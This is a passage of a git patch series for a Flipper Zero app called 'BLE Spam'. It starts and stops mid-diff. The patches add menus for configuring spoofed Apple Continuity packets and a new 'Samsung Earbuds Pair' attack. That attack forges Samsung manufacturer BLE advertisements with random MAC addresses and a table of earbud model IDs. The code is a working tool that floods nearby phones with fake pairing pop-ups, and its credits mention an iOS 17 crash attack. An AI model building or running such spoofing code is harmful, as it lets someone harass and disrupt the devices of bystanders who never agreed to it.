variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg); + const char* prefix_name = NULL; + char prefix_name_buf[3]; + if(cfg->data.proximity_pair.prefix == 0x00) { + prefix_name = "Auto"; + value_index = 0; + } else { + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + prefix_name = pp_prefixes[i].name; + value_index = i + 1; + break; + } + } + if(!prefix_name) { + snprintf( + prefix_name_buf, + sizeof(prefix_name_buf), + "%02X", + cfg->data.proximity_pair.prefix); + prefix_name = prefix_name_buf; + value_index = pp_prefixes_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, prefix_name); + break; + } + case ContinuityTypeNearbyAction: { + item_count++; + item = variable_item_list_add( + list, "Action Type", na_actions_count + 1, na_action_type_changed, cfg); + const char* action_name = NULL; + char action_name_buf[3]; + if(cfg->data.nearby_action.type == 0x00) { + action_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < na_actions_count; i++) { + if(cfg->data.nearby_action.type == na_actions[i].type) { + action_name = na_actions[i].name; + value_index = i + 1; + break; + } + } + if(!action_name) { + snprintf( + action_name_buf, sizeof(action_name_buf), "%02X", cfg->data.nearby_action.type); + action_name = action_name_buf; + value_index = na_actions_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, action_name); + + item_count++; + item = variable_item_list_add(list, "Flags", 0, NULL, NULL); + const char* flags_name = NULL; + char flags_name_buf[3]; + if(cfg->data.nearby_action.flags == 0x00) { + flags_name = "Auto"; + } else { + snprintf( + flags_name_buf, sizeof(flags_name_buf), "%02X", cfg->data.nearby_action.flags); + flags_name = flags_name_buf; + } + variable_item_set_current_value_text(item, flags_name); + break; + } + default: + break; + } + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, + .config_list = continuity_config_list, }; + +static void pp_model_id_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.model_id = 0x0000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_models_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModelIdCustom); + break; + default: + cfg->data.proximity_pair.model_id = pp_models[index - 1].id; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_model_id_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, pp_model_id_callback, ctx); + if(cfg->data.proximity_pair.model_id == 0x0000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < pp_models_count; i++) { + submenu_add_item(submenu, pp_models[i].name, i + 1, pp_model_id_callback, ctx); + if(!found && cfg->data.proximity_pair.model_id == pp_models[i].id) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_models_count + 1, pp_model_id_callback, ctx); + if(!found) { + found = true; + selected = pp_models_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_model_id_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_id_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_model_id_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Model ID"); + + byte_input_set_result_callback( + byte_input, + pp_model_id_custom_callback, + NULL, + ctx, + (void*)&cfg->data.proximity_pair.model_id, + sizeof(cfg->data.proximity_pair.model_id)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.proximity_pair.prefix = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case pp_prefixes_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefixCustom); + break; + default: + cfg->data.proximity_pair.prefix = pp_prefixes[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_pp_prefix_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Automatic", 0, pp_prefix_callback, ctx); + if(cfg->data.proximity_pair.prefix == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < pp_prefixes_count; i++) { + submenu_add_item(submenu, pp_prefixes[i].name, i + 1, pp_prefix_callback, ctx); + if(!found && cfg->data.proximity_pair.prefix == pp_prefixes[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", pp_prefixes_count + 1, pp_prefix_callback, ctx); + if(!found) { + found = true; + selected = pp_prefixes_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_pp_prefix_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void pp_prefix_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Prefix"); + + byte_input_set_result_callback( + byte_input, + pp_prefix_custom_callback, + NULL, + ctx, + (void*)&cfg->data.proximity_pair.prefix, + sizeof(cfg->data.proximity_pair.prefix)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_type_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + switch(index) { + case 0: + cfg->data.nearby_action.type = 0x00; + scene_manager_previous_scene(ctx->scene_manager); + break; + case na_actions_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaActionTypeCustom); + break; + default: + cfg->data.nearby_action.type = na_actions[index - 1].type; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_continuity_na_action_type_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, na_action_type_callback, ctx); + if(cfg->data.nearby_action.type == 0x00) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < na_actions_count; i++) { + submenu_add_item(submenu, na_actions[i].name, i + 1, na_action_type_callback, ctx); + if(!found && cfg->data.nearby_action.type == na_actions[i].type) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", na_actions_count + 1, na_action_type_callback, ctx); + if(!found) { + found = true; + selected = na_actions_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_continuity_na_action_type_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_type_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_action_type_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_action_type_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Action Type"); + + byte_input_set_result_callback( + byte_input, + na_action_type_custom_callback, + NULL, + ctx, + (void*)&cfg->data.nearby_action.type, + sizeof(cfg->data.nearby_action.type)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_continuity_na_action_type_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void na_flags_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_continuity_na_flags_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Press back for automatic"); + + byte_input_set_result_callback( + byte_input, + na_flags_callback, + NULL, + ctx, + (void*)&cfg->data.nearby_action.flags, + sizeof(cfg->data.nearby_action.flags)); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + if(event.type == SceneManagerEventTypeBack) { + cfg->data.nearby_action.flags = 0x00; + } + return false; +} +void scene_continuity_na_flags_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h index e69de29bb..6588932a7 100644 --- a/applications/external/ble_spam/protocols/continuity_scenes.h +++ b/applications/external/ble_spam/protocols/continuity_scenes.h @@ -0,0 +1,7 @@ +ADD_SCENE(continuity_pp_model_id, ContinuityPpModelId) +ADD_SCENE(continuity_pp_model_id_custom, ContinuityPpModelIdCustom) +ADD_SCENE(continuity_pp_prefix, ContinuityPpPrefix) +ADD_SCENE(continuity_pp_prefix_custom, ContinuityPpPrefixCustom) +ADD_SCENE(continuity_na_action_type, ContinuityNaActionType) +ADD_SCENE(continuity_na_action_type_custom, ContinuityNaActionTypeCustom) +ADD_SCENE(continuity_na_flags, ContinuityNaFlags) From c5d69d7d2d1eaa8822bb19f843ad72d015269af8 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 18:14:46 +0100 Subject: [PATCH 19/41] BLE Spam add Samsung spam and menu --- applications/external/ble_spam/ble_spam.c | 15 +- .../external/ble_spam/protocols/_protocols.c | 1 + .../external/ble_spam/protocols/_protocols.h | 2 + .../external/ble_spam/protocols/_scenes.h | 1 + .../external/ble_spam/protocols/smartthings.c | 235 ++++++++++++++++++ .../external/ble_spam/protocols/smartthings.h | 11 + .../ble_spam/protocols/smartthings_scenes.h | 2 + 7 files changed, 266 insertions(+), 1 deletion(-) create mode 100644 applications/external/ble_spam/protocols/smartthings.c create mode 100644 applications/external/ble_spam/protocols/smartthings.h create mode 100644 applications/external/ble_spam/protocols/smartthings_scenes.h diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index c876ac503..5188f2535 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -8,7 +8,7 @@ // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) // iOS 17 Crash by @ECTO-1A -// Android and Windows Pairs by @Spooks4576 and @ECTO-1A +// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam @@ -87,6 +87,19 @@ static Attack attacks[] = { }, }, }, + { + .title = "Samsung Earbuds Pair", + .text = "No cooldown, long range", + .protocol = &protocol_smartthings, + .payload = + { + .random_mac = true, + .cfg = + { + .smartthings = {}, + }, + }, + }, { .title = "Windows Device Found", .text = "Requires enabling SwiftPair", diff --git a/applications/external/ble_spam/protocols/_protocols.c b/applications/external/ble_spam/protocols/_protocols.c index 8be02da9b..f17c2690c 100644 --- a/applications/external/ble_spam/protocols/_protocols.c +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -3,6 +3,7 @@ const Protocol* protocols[] = { &protocol_continuity, &protocol_fastpair, + &protocol_smartthings, &protocol_swiftpair, }; diff --git a/applications/external/ble_spam/protocols/_protocols.h b/applications/external/ble_spam/protocols/_protocols.h index 9f81eaf60..a91278e2a 100644 --- a/applications/external/ble_spam/protocols/_protocols.h +++ b/applications/external/ble_spam/protocols/_protocols.h @@ -2,11 +2,13 @@ #include "continuity.h" #include "fastpair.h" +#include "smartthings.h" #include "swiftpair.h" union ProtocolCfg { ContinuityCfg continuity; FastpairCfg fastpair; + SmartthingsCfg smartthings; SwiftpairCfg swiftpair; }; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h index d91f31010..c440ab187 100644 --- a/applications/external/ble_spam/protocols/_scenes.h +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -1,3 +1,4 @@ #include "continuity_scenes.h" #include "fastpair_scenes.h" +#include "smartthings_scenes.h" #include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/smartthings.c b/applications/external/ble_spam/protocols/smartthings.c new file mode 100644 index 000000000..13b37443a --- /dev/null +++ b/applications/external/ble_spam/protocols/smartthings.c @@ -0,0 +1,235 @@ +#include "smartthings.h" +#include "_protocols.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +const struct { + uint32_t value; + const char* name; +} datas[] = { + {0x39EA48, "Light Purple Buds"}, {0xA7C62C, "Bluish Silver Buds"}, + {0x850116, "Black Buds Live"}, {0x3D8F41, "Gray and Black Buds"}, + {0x3B6D02, "Bluish Chrome Buds"}, {0xAE063C, "Grey Beige Buds"}, + {0xB8B905, "Pure White Buds V2"}, {0xEAAA17, "Pure White Buds"}, + {0xD30704, "Black Buds V2"}, {0x101F1A, "Dark Purple Buds Live"}, + {0x9DB006, "French Flag Buds V2"}, {0x859608, "Dark Blue Buds V2"}, + {0x8E4503, "Pink Buds V2"}, {0x2C6740, "White and Black Buds"}, + {0x3F6718, "Bronze Buds Live"}, {0x42C519, "Red Buds Live"}, + {0xAE073A, "Black and White Buds"}, {0x011716, "Sleek Black Buds"}, + {0x9D1700, "Fallback Image"}, {0xEE7A0C, "Fallback Buds"}, +}; +const uint8_t datas_count = COUNT_OF(datas); + +const char* smartthings_get_name(const ProtocolCfg* _cfg) { + const SmartthingsCfg* cfg = &_cfg->smartthings; + UNUSED(cfg); + return "SmartThings"; +} + +void smartthings_make_packet(uint8_t* out_size, uint8_t** out_packet, const ProtocolCfg* _cfg) { + const SmartthingsCfg* cfg = _cfg ? &_cfg->smartthings : NULL; + + uint32_t data; + if(cfg && cfg->data != 0x000000) { + data = cfg->data; + } else { + data = datas[rand() % datas_count].value; + } + + uint8_t size = 31; + uint8_t* packet = malloc(size); + uint8_t i = 0; + + packet[i++] = 27; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + packet[i++] = 0x00; // ... + packet[i++] = 0x42; + packet[i++] = 0x09; + packet[i++] = 0x81; + packet[i++] = 0x02; + packet[i++] = 0x14; + packet[i++] = 0x15; + packet[i++] = 0x03; + packet[i++] = 0x21; + packet[i++] = 0x01; + packet[i++] = 0x00; + packet[i++] = (data >> 0x10) & 0xFF; + packet[i++] = (data >> 0x08) & 0xFF; + packet[i++] = 0x01; + packet[i++] = (data >> 0x00) & 0xFF; + packet[i++] = 0x06; + packet[i++] = 0x3C; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + packet[i++] = 0x00; + + packet[i++] = 16; // Size + packet[i++] = 0xFF; // AD Type (Manufacturer Specific) + packet[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) + // Truncated AD segment, Android seems to fill in the rest with zeros + + *out_size = size; + *out_packet = packet; +} + +enum { + ConfigData, +}; +static void config_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index); + switch(index) { + case ConfigData: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsData); + default: + break; + } +} +static void data_changed(VariableItem* item) { + SmartthingsCfg* cfg = variable_item_get_context(item); + uint8_t index = variable_item_get_current_value_index(item); + if(index) { + index--; + cfg->data = datas[index].value; + variable_item_set_current_value_text(item, datas[index].name); + } else { + cfg->data = 0x000000; + variable_item_set_current_value_text(item, "Random"); + } +} +static uint8_t smartthings_config_list(Ctx* ctx) { + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + VariableItemList* list = ctx->variable_item_list; + uint8_t item_count = 0; + VariableItem* item; + size_t value_index; + + item_count++; + item = variable_item_list_add(list, "Data", datas_count + 1, data_changed, cfg); + const char* data_name = NULL; + char data_name_buf[9]; + if(cfg->data == 0x000000) { + data_name = "Random"; + value_index = 0; + } else { + for(uint8_t i = 0; i < datas_count; i++) { + if(cfg->data == datas[i].value) { + data_name = datas[i].name; + value_index = i + 1; + break; + } + } + if(!data_name) { + snprintf(data_name_buf, sizeof(data_name_buf), "%06lX", cfg->data); + data_name = data_name_buf; + value_index = datas_count + 1; + } + } + variable_item_set_current_value_index(item, value_index); + variable_item_set_current_value_text(item, data_name); + + variable_item_list_set_enter_callback(list, config_callback, ctx); + + return item_count; +} + +const Protocol protocol_smartthings = { + .icon = &I_android, + .get_name = smartthings_get_name, + .make_packet = smartthings_make_packet, + .config_list = smartthings_config_list, +}; + +static void data_callback(void* _ctx, uint32_t index) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + switch(index) { + case 0: + cfg->data = 0x000000; + scene_manager_previous_scene(ctx->scene_manager); + break; + case datas_count + 1: + scene_manager_next_scene(ctx->scene_manager, SceneSmartthingsDataCustom); + break; + default: + cfg->data = datas[index - 1].value; + scene_manager_previous_scene(ctx->scene_manager); + break; + } +} +void scene_smartthings_data_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + Submenu* submenu = ctx->submenu; + uint32_t selected = 0; + bool found = false; + submenu_reset(submenu); + + submenu_add_item(submenu, "Random", 0, data_callback, ctx); + if(cfg->data == 0x000000) { + found = true; + selected = 0; + } + for(uint8_t i = 0; i < datas_count; i++) { + submenu_add_item(submenu, datas[i].name, i + 1, data_callback, ctx); + if(!found && cfg->data == datas[i].value) { + found = true; + selected = i + 1; + } + } + submenu_add_item(submenu, "Custom", datas_count + 1, data_callback, ctx); + if(!found) { + found = true; + selected = datas_count + 1; + } + + submenu_set_selected_item(submenu, selected); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu); +} +bool scene_smartthings_data_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_data_on_exit(void* _ctx) { + UNUSED(_ctx); +} + +static void data_custom_callback(void* _ctx) { + Ctx* ctx = _ctx; + scene_manager_previous_scene(ctx->scene_manager); + scene_manager_previous_scene(ctx->scene_manager); +} +void scene_smartthings_data_custom_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + SmartthingsCfg* cfg = &ctx->attack->payload.cfg.smartthings; + ByteInput* byte_input = ctx->byte_input; + + byte_input_set_header_text(byte_input, "Enter custom Data"); + + byte_input_set_result_callback( + byte_input, + data_custom_callback, + NULL, + ctx, + ((void*)&cfg->data) + 1, + sizeof(cfg->data) - 1); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); +} +bool scene_smartthings_data_custom_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} +void scene_smartthings_data_custom_on_exit(void* _ctx) { + UNUSED(_ctx); +} diff --git a/applications/external/ble_spam/protocols/smartthings.h b/applications/external/ble_spam/protocols/smartthings.h new file mode 100644 index 000000000..7fc39b174 --- /dev/null +++ b/applications/external/ble_spam/protocols/smartthings.h @@ -0,0 +1,11 @@ +#pragma once +#include "_base.h" + +// Hacked together by @Willy-JL and @Spooks4576 +// Research by @Spooks4576 + +typedef struct { + uint32_t data; +} SmartthingsCfg; + +extern const Protocol protocol_smartthings; diff --git a/applications/external/ble_spam/protocols/smartthings_scenes.h b/applications/external/ble_spam/protocols/smartthings_scenes.h new file mode 100644 index 000000000..81b4fcb80 --- /dev/null +++ b/applications/external/ble_spam/protocols/smartthings_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(smartthings_data, SmartthingsData) +ADD_SCENE(smartthings_data_custom, SmartthingsDataCustom) From 72c1916a4c8f53ab155b3ab56c36ac29ee68412a Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 18:26:10 +0100 Subject: [PATCH 20/41] More format stuff --- applications/external/ble_spam/ble_spam.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 5188f2535..80a0a7e7f 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -128,8 +128,8 @@ typedef struct { int8_t index; } State; -static int32_t adv_thread(void* ctx) { - State* state = ctx; +static int32_t adv_thread(void* _ctx) { + State* state = _ctx; uint8_t size; uint16_t delay; uint8_t* packet; @@ -182,10 +182,14 @@ enum { PageAboutCredits = PAGE_MAX, }; -static void draw_callback(Canvas* canvas, void* ctx) { - State* state = *(State**)ctx; +static void draw_callback(Canvas* canvas, void* _ctx) { + State* state = *(State**)_ctx; const char* back = "Back"; const char* next = "Next"; + if(state->index < 0) { + back = "Next"; + next = "Back"; + } switch(state->index) { case PageStart - 1: next = "Spam"; @@ -315,8 +319,8 @@ static void draw_callback(Canvas* canvas, void* ctx) { } } -static bool input_callback(InputEvent* input, void* ctx) { - View* view = ctx; +static bool input_callback(InputEvent* input, void* _ctx) { + View* view = _ctx; State* state = *(State**)view_get_model(view); bool consumed = false; From 0c3800340db1114958ac5694c01e9ec10bf75fa1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 19:38:41 +0100 Subject: [PATCH 21/41] BLE Spam fix parameter byte endianness --- applications/external/ble_spam/ble_spam.h | 1 + .../external/ble_spam/protocols/continuity.c | 57 +++++++++---------- .../external/ble_spam/protocols/fastpair.c | 16 +++--- .../external/ble_spam/protocols/smartthings.c | 16 +++--- 4 files changed, 46 insertions(+), 44 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index 1e361b8e2..7f79f9434 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -20,6 +20,7 @@ typedef struct Attack Attack; typedef struct { Attack* attack; + uint8_t byte_store[3]; ViewDispatcher* view_dispatcher; SceneManager* scene_manager; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 66887695d..710818689 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -545,13 +545,11 @@ void scene_continuity_pp_model_id_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Model ID"); + ctx->byte_store[0] = (cfg->data.proximity_pair.model_id >> 0x08) & 0xFF; + ctx->byte_store[1] = (cfg->data.proximity_pair.model_id >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - pp_model_id_custom_callback, - NULL, - ctx, - (void*)&cfg->data.proximity_pair.model_id, - sizeof(cfg->data.proximity_pair.model_id)); + byte_input, pp_model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 2); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -561,7 +559,10 @@ bool scene_continuity_pp_model_id_custom_on_event(void* _ctx, SceneManagerEvent return false; } void scene_continuity_pp_model_id_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.proximity_pair.model_id = + (ctx->byte_store[0] << 0x08) + (ctx->byte_store[1] << 0x00); } static void pp_prefix_callback(void* _ctx, uint32_t index) { @@ -632,13 +633,10 @@ void scene_continuity_pp_prefix_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Prefix"); + ctx->byte_store[0] = (cfg->data.proximity_pair.prefix >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - pp_prefix_custom_callback, - NULL, - ctx, - (void*)&cfg->data.proximity_pair.prefix, - sizeof(cfg->data.proximity_pair.prefix)); + byte_input, pp_prefix_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -648,7 +646,9 @@ bool scene_continuity_pp_prefix_custom_on_event(void* _ctx, SceneManagerEvent ev return false; } void scene_continuity_pp_prefix_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.proximity_pair.prefix = (ctx->byte_store[0] << 0x00); } static void na_action_type_callback(void* _ctx, uint32_t index) { @@ -719,13 +719,10 @@ void scene_continuity_na_action_type_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Action Type"); + ctx->byte_store[0] = (cfg->data.nearby_action.type >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - na_action_type_custom_callback, - NULL, - ctx, - (void*)&cfg->data.nearby_action.type, - sizeof(cfg->data.nearby_action.type)); + byte_input, na_action_type_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -735,7 +732,9 @@ bool scene_continuity_na_action_type_custom_on_event(void* _ctx, SceneManagerEve return false; } void scene_continuity_na_action_type_custom_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.nearby_action.type = (ctx->byte_store[0] << 0x00); } static void na_flags_callback(void* _ctx) { @@ -749,24 +748,22 @@ void scene_continuity_na_flags_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Press back for automatic"); + ctx->byte_store[0] = (cfg->data.nearby_action.flags >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - na_flags_callback, - NULL, - ctx, - (void*)&cfg->data.nearby_action.flags, - sizeof(cfg->data.nearby_action.flags)); + byte_input, na_flags_callback, NULL, ctx, (void*)ctx->byte_store, 1); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } bool scene_continuity_na_flags_on_event(void* _ctx, SceneManagerEvent event) { Ctx* ctx = _ctx; - ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; if(event.type == SceneManagerEventTypeBack) { - cfg->data.nearby_action.flags = 0x00; + ctx->byte_store[0] = 0x00; } return false; } void scene_continuity_na_flags_on_exit(void* _ctx) { - UNUSED(_ctx); + Ctx* ctx = _ctx; + ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity; + cfg->data.nearby_action.flags = (ctx->byte_store[0] << 0x00); } diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8944b7810..e5b95894e 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -209,13 +209,12 @@ void scene_fastpair_model_id_custom_on_enter(void* _ctx) { byte_input_set_header_text(byte_input, "Enter custom Model ID"); + ctx->byte_store[0] = (cfg->model_id >> 0x10) & 0xFF; + ctx->byte_store[1] = (cfg->model_id >> 0x08) & 0xFF; + ctx->byte_store[2] = (cfg->model_id >> 0x00) & 0xFF; + byte_input_set_result_callback( - byte_input, - model_id_custom_callback, - NULL, - ctx, - ((void*)&cfg->model_id) + 1, - sizeof(cfg->model_id) - 1); + byte_input, model_id_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3); view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput); } @@ -225,5 +224,8 @@ bool 